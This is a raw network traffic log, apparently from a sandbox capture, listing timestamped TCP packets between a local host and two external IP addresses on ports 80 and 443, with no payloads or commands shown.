Oct 29, 2024 05:03:31.439505100 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.439538956 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.439573050 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.439625025 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.475549936 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475629091 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.475672960 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475708008 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475744963 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475761890 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.475779057 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475825071 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.475847006 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475898027 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475945950 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.475946903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.475981951 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.476015091 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.476061106 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.511096001 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.511147976 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.511183023 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.511215925 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.511250973 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.511251926 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.511327982 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.558525085 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.558562994 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.558609009 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.558617115 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594469070 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594521046 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594557047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594603062 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594638109 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594722986 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.594722986 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.594743013 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594794035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594827890 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594860077 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.594908953 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.594911098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.629801035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.629856110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.629888058 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.629889011 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.629941940 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.630009890 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.630043030 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.630074978 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.630243063 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.677252054 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.677282095 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.677316904 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.677330971 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.677350044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.677366018 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.720040083 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.913656950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913707018 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913755894 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.913764954 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913800955 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913837910 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913841963 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.913873911 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913908005 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913928986 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.913944006 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.913979053 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914011002 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914016962 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914047003 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914079905 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914091110 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914129972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914135933 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914180994 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914215088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914230108 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914247990 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914258957 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914349079 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914383888 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914417028 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914427996 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914463997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914489031 CET	50052	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:31.914495945 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914496899 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914531946 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914566040 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914578915 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914588928 CET	443	50052	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:31.914598942 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914611101 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914633036 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914666891 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914684057 CET	50052	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:31.914695024 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914701939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914736986 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914769888 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914769888 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914803982 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914813042 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914855003 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.914921999 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.914985895 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915036917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915069103 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915082932 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915102959 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915138960 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915168047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915189981 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915199995 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915209055 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915235043 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915266037 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915280104 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915345907 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915380001 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915414095 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915416956 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915447950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915452003 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915458918 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915461063 CET	50052	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:31.915484905 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.915487051 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.915497065 CET	443	50052	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:31.915539026 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922352076 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922385931 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922399044 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922421932 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922456026 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922458887 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922478914 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922489882 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922502041 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922523975 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922525883 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922575951 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922609091 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922616959 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922643900 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922643900 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922643900 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922678947 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922681093 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922719955 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.922866106 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922899008 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.922943115 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.923203945 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.923252106 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.923255920 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.923291922 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.923296928 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.923331976 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.923345089 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.923392057 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.923856020 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.923892021 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.923913002 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.923928022 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.924139977 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.924189091 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.924191952 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.924225092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.924236059 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.924273968 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.924283981 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.924374104 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.924902916 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.924937010 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.924969912 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.924973011 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.925013065 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.952109098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952145100 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952178955 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952189922 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.952212095 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952264071 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952296019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952306986 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.952331066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952338934 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.952404022 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952454090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952496052 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.952599049 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952627897 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.952646017 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.975919962 CET	80	50050	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.975980043 CET	50050	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.986619949 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.986673117 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.986778975 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.986824989 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.986857891 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.986867905 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.986891985 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.986926079 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.986936092 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.987104893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.987152100 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.987153053 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.987186909 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.987227917 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.027282000 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.027331114 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.027381897 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.033832073 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.033885956 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.033919096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.033931017 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.070404053 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070466995 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.070509911 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070549965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070584059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070630074 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.070655107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070691109 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070715904 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.070723057 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070755959 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070790052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070801973 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.070825100 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070859909 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.070868015 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.070899963 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.082077980 CET	50050	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.082432032 CET	50053	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.087868929 CET	80	50053	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.087974072 CET	80	50050	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.088000059 CET	50053	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.088227034 CET	50053	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.088243961 CET	50050	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.093564987 CET	80	50053	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105488062 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105643988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105681896 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105696917 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.105717897 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105751038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105783939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105793953 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.105827093 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.105840921 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105875015 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.105958939 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.153011084 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.153048038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.153083086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.153115988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.153126955 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.153152943 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.153161049 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.189368963 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189419031 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.189423084 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189457893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189491987 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189537048 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.189546108 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189582109 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189601898 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.189623117 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189656973 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189701080 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.189799070 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189831972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189863920 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.189879894 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.189904928 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.224452019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224539042 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224571943 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224606991 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224625111 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.224642038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224659920 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.224678993 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224787951 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.224790096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224824905 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224859953 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.224874973 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.271780014 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.271835089 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.271869898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.271887064 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.271903992 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.271919012 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.271941900 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.271991968 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.298484087 CET	50051	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:32.308458090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308511019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308545113 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308579922 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308594942 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.308614016 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308629036 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.308650970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308686018 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308729887 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.308736086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308773041 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308804989 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308815956 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.308841944 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.308845997 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.309274912 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.309309006 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.309354067 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.343446970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.343485117 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.343518972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.343524933 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.343570948 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.343611956 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.343667030 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.343702078 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.343718052 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.343738079 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.343812943 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.390763044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.390832901 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.390892029 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:32.390901089 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.390935898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:32.390970945 CET	80	50048	185.215.113.16	192.168.2.5
